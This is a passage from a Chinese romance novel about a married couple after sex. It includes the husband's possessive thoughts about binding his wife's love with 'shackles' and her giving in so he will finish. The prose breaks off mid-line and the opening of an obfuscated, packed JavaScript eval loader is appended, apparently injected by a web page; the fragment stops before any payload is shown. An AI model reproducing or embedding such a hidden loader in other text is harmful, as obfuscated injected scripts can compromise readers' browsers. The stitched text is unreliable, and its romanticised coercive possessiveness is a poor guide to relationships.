浓郁的气息萦绕四周,和他偶尔自行解决需求时的气息不同,夹杂了另一个人的气息,他发现他也并非很排斥,臣服于欲望,好像也不是很难接受的事。
越过了界限,接踵而来的应该是放纵,是一场热恋,然而不是,是戛然而止。
幸好,兜兜转转,轨道重联。
一遍遍告诉她他爱她,一遍遍用行为表达,想让她明白,他们的婚姻或许没有一个正常的开始,还和利益牵扯在一起,却不是难堪的,他想要的,不只是一开始以为的那样要她这个人,他想要的除了她这个人,还有她的心,她的全部。
幸好,她对他的感情深过她对他的恨。
她是恨他,却不是那种真正意义上无法挽回的恨。
她对他的恨是附爱而生,是爱最牢固的枷锁,他为她打造的坚不可摧的枷锁,只为囚住她和她的爱,她的人是他的,他坚信,早晚有一天,她的人她的心都会独属于他一人。
宗忱抱着栗安娴到了淋浴间,给两人简单冲洗,擦干水渍,给怀里的栗安娴套上睡裙,随意披上睡袍,抱着软绵绵的人离开了浴室。
栗安娴背靠着沙发,歪着身体斜坐在宗忱面前的地毯上,偏头趴在他腿上,任由他给她吹头发,她是已经没有力气和他争斗,索性就这么着。
宗忱先给栗安娴吹干了头皮,才顺着她头发用指缝梳着自上而下吹,一开始他给她吹头发时是胡乱抓揉着吹,她抱怨过,那样吹头发不顺毛躁,后来都按着她的意,她说怎么着就怎么着。
头发几乎已干,整个过程她一直安静,一点儿动静声响都没有。
他抬了抬腿将她震醒,忍不住还是在她头顶抓揉几下,和她说:“不想这样,我找你的时候就别晾着我。”
今晚他是没怎么对她留情,到最后她已经完全撑不住,逞强也不行,不停哼声索吻讨饶,格外主动,只为让他尽快结束,达到这种状态是已让他满意消火,没有更为难她。
“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c